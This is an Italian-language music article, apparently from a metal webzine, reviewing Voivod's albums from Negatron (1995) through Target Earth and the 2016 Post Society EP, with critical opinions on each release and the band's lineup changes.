Voivod – Seconda Parte

Voivod – Seconda Parte

Voivod – Seconda Parte

Gli anni ’90 (in ambito Metal) non sono solo gli anni del Grunge, della scena Alternative (e relative scuole), del Progressive ma anche del successo commerciale del Groove Metal dei Pantera. Potevano quindi i Voivod esimersi dal tentare di saltare dentro il carrozzone del Groove? “Assolutamente no”, avranno pensato i nostri, che dal ’94 al 2001 con Eric Forest in veste di cantante/bassista divennero un trio. Di fatti la risposta vede licenziato nel 1995 Negatron.
In quegli anni molte band cercarono di giocare questa carta ed un esempio possono essere i Testament con Low uscito nel 94.
Tornando ai Nostri, Negatron non fu un successo degno dei suoi predecessori. Con il senno di poi, seppur Negatron non può essere considerato totalmente un buco nell’acqua; possiamo comunque dire che i Voivod fecero un album non pienamente riuscito. Oltre al Groove di “Panteriana” memoria nel sound del disco si annida una influenza Industrial che di colpo modernizza, irrobustisce ed appesantisce il sound della band. Riffing fortemente ritmato, vocals acide e velenose, atmosfera moderna ed oscura sono i principali ingredienti del platter in questione e vista la sua pesantezza, non è affatto scontato che possa piacere ai fan del periodo Nothingface/The Outer Limits.

Il problema di Negatron risiede nell’alternanza troppo marcata di sound molto diversi e cozzanti tra loro: vi si hanno brani sperimentali ad altri di matrice molto più manieristica e simili ad un Groove tradizionale talvolta risultando poco personali.
Questa discordanza purtroppo tarpa le ali al lavoro e gli impedisce di prendere il volo, ma basterà aspettare un paio di anni per vedere il cigno volare.

Altri due anni passano ed al secondo banco di prova per il Trio giunge l’era del cantato di ForestPhobos (che a parere di chi scrive può essere considerato uno degli ultimi capolavori effettivi), è l’album uscito nel 97 ed è ciò che sarebbe dovuto essere Negatron con una marcia in più: è un viaggio nel buio cosmico che a dieci anni dalla pubblicazione di Killing Technology segna un altro disco perfettamente riuscito, salvo per la produzione a parte.
Il Groove Metal di cui i Voivod si cibarono un paio d’anni fa viene totalmente fagocitato da toni sperimentali e criptici. La matrice psichedelica che ormai li seguiva da un decennio torna a essere co-protagonista nel loro sound, in un trip che incontra il Groove Metal,  la psichedelia, lo space rock ed influenze smaccatamente Industrial, donandoci così uno dei loro album più avanguardisti e, per ironia della sorte, risulta essere uno dei loro dischi più inosservati; un disco oscuro, pesante e difficile che merita di essere riscoperto a vent’anni di distanza. Il sound è sempre possente e robusto, ma la sperimentazione è molto meno timida; di conseguenza si è sempre martellati da effetti sonori e da pesantissimi riffs distorti e dissonanti.
Con Phobos, i Nostri riescono a fornire una loro visione personale del Groove metal novantiano. Dell’era Forest è bene inoltre ricordare che successivamente usciranno una raccolta ed un live, i quali, seppur non aggiungeranno nulla a quanto fatto, ribadiscono come in questo periodo la band, seppe comunque non solo rinnovarsi, ma a mantenere una certa qualità.

Sei anni: questo è il lasso temporale che separa il mitico Phobos con la nuova pubblicazione della band canadese. Siamo nel 2003 e con il rientro dello storico cantante “Snake” e con l’entrata del fuoriuscito bassista dei Metallica, Jason Newsted (qui soprannominato Jasonic) i Voivod tornano con un nuovo album il quale è una chiara dichiarazione d’intenti dato che il titolo è omonimo al gruppo; solitamente ciò accade quando o si hanno cambiamenti epocali (come fu nel caso dei Metallica) o si hanno dei capolavori che rimangono impressi come pietre miliari (Black Sabbath).
Nel 2003, dopo un lungo lasso di tempo, tornano con una formula semplificata rispetto al passato ma che comunque mantiene lo stesso un fil rouge sperimentale dei suoi antenati. Come già detto poc’anzi la formula, rispetto ai dischi precedenti è semplificata: i brani hanno una durata concisa e raramente ci si perde in minutaggi strabordanti (si veda ad esempio la suite di diciassette minuti).
L’Heavy/Thrash Metal intriso di psichedelia che ci propongono in Voivod è ben più melodico di quanto proposto con “E-Foce” (Eric Forrest). Oltre ad avere un sottofondo di ripetitività a causa di strutture a volte troppo semplicistiche rimane comunque un disco interessante che, seppur lontano anni luce dai fasti avuti in precedenza, ci dà un lavoro discreto il quale rimarrà degno del nome che porta in copertina.

2005: anno tragico per la band poichè verrà a mancare Piggy. Dai riffs ritrovati dentro il suo computer, la band sfornerà due dischi: Katorz e Infini, rispettivamente usciti nel 2006 e nel 2009, e quest’ultimo, a detta della band, doveva essere il capitolo finale della loro carriera.
Parliamo di Katorz che uscì ad un anno dalla morte di Piggy; il disco riprende lo stile del album omonimo al quale però viene dato un sound più duro e un’atmosfera sci-fi più marcata. In Katorz sono presenti canzoni dalle strutture semplici e con dei rimandi ai vari periodi della band i quali faranno risultare Katorz  un “disco minestrone” che verrà apprezzato soprattutto dai fan più incalliti. Inoltre in Katorz sono presenti i difetti del precedente lavoro (Voivod). Tra i punti positivi vi sono da citare: una performance vocale senza dubbio più viva e coinvolgente rispetto a Voivod, il basso di Jason più ispirato ed in primo piano, oltre ad un riff work come sempre di buon livello. Questi elementi faranno sì che Katorz sarà comunque un buon disco seppur con qualche ingenuità.

E passiamo quindi al 2009 e ad Infini.
Lo stile rimane ancorato ai due lavori precedenti, con idee interessanti ma i difetti amplificati portano la band a fare un brusco capitombolo. Purtroppo Infini è un disco per certi versi piatto e banale, che a parte qualche buon riff di chitarra ed alcune linee melodiche ispirate mette sul piatto diversi ritornelli non propriamente memorabili. Infini risulta essere in parte uno dei lavori peggiori fatti dalla storica band.

Passano gli anni ed i concerti.
Nel 2011 in casa Voivod arrivano due testimonianze che tengono in vita la band. Nonostante certe dichiarazioni fatte ai tempi di Infini, nel giro di poco escono To the Death 84 (ristampa dell’omonima demo) ed il live Warriors of Ice. Con To the Death 84 & Warriors of Ice, la nuova formazione dà buona prova di sé ed il sostituto dell’ex Axeman (Denis “Piggy” D’Amour), Chewy (all’anagrafe Daniel Mongrain chitarrista dotato di un curriculum molto interessante vista la sua collaborazione con i Gorguts), riesce a raccogliere appieno l’eredità lasciata da Piggy.
E si arriva quindi al 2013 ed a Target Earth il quale, dopo Warriors of Ice, fu il banco di prova definitivo per la nuova formazione; prova che venne superata positivamente dal gruppo, per nostra (e loro) fortuna.
Lo stile ripesca a piene mani l’epopea Cyber/Prog Thrash dal sapore fortemente futuristico degli anni ’80, con un forte richiamo a Dimension Hatross ed unisce il tutto ad un riffing moderno e ripreso da Phobos.
Non tutto è oro quello che luccica, ed a ben guardare, la tracklist ha un minutaggio mediamente più lungo di quelle presenti negli anni d’oro della band; ciò potrebbe portare ad annoiare chi non è avvezzo a certe sonorità, ma comunque non è nulla che può realmente compromettere la qualità e la godibilità del disco: non ci troviamo ad un St. Anger By Voivod.

Target Earth ha fatto riportare sulla cresta dell’onda i Voivod, ciò dimostrato anche dai tour fatti con illustri colleghi della scena estrema mondiale. Nel 2016 la formazione canadese pubblica l’EP Post Society il quale va a ribadire lo stato di grazia del gruppo nonché la sua seconda giovinezza.
Il lavoro continua sulla scia del precedente ma ad esso viene aggiunto un tocco Space Rock molto più marcato e pronunciato, il quale con l’ottimo tributo agli Hawkwind va a sigillare un’altra uscita di qualità.
Per quanto riguarda il nuovo disco si dovrà attendere questo 2017 stando alle dichiarazioni del gruppo e si tratterà di un concept album.

Nonostante una carriera con parecchi momenti difficili, scarsa notorietà rispetto a coloro i quali hanno cavalcato l’onda del Thrash e l’aver raccolto poco rispetto a quanto seminato, i Voivod sono mantengono tuttora alta la bandiera Metal estremo e sperimentale canadese.
Lunga vita quindi a questa band che ha avuto (e continua ad avere) un coraggio non comune nell’ambiente, grazie ad un mix unico dato dal guitarwork del compianto Piggy, le immagini ed i testi di Away e la voce grezza e sgraziata di Snake.

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Sebastiano Dall'Armellina

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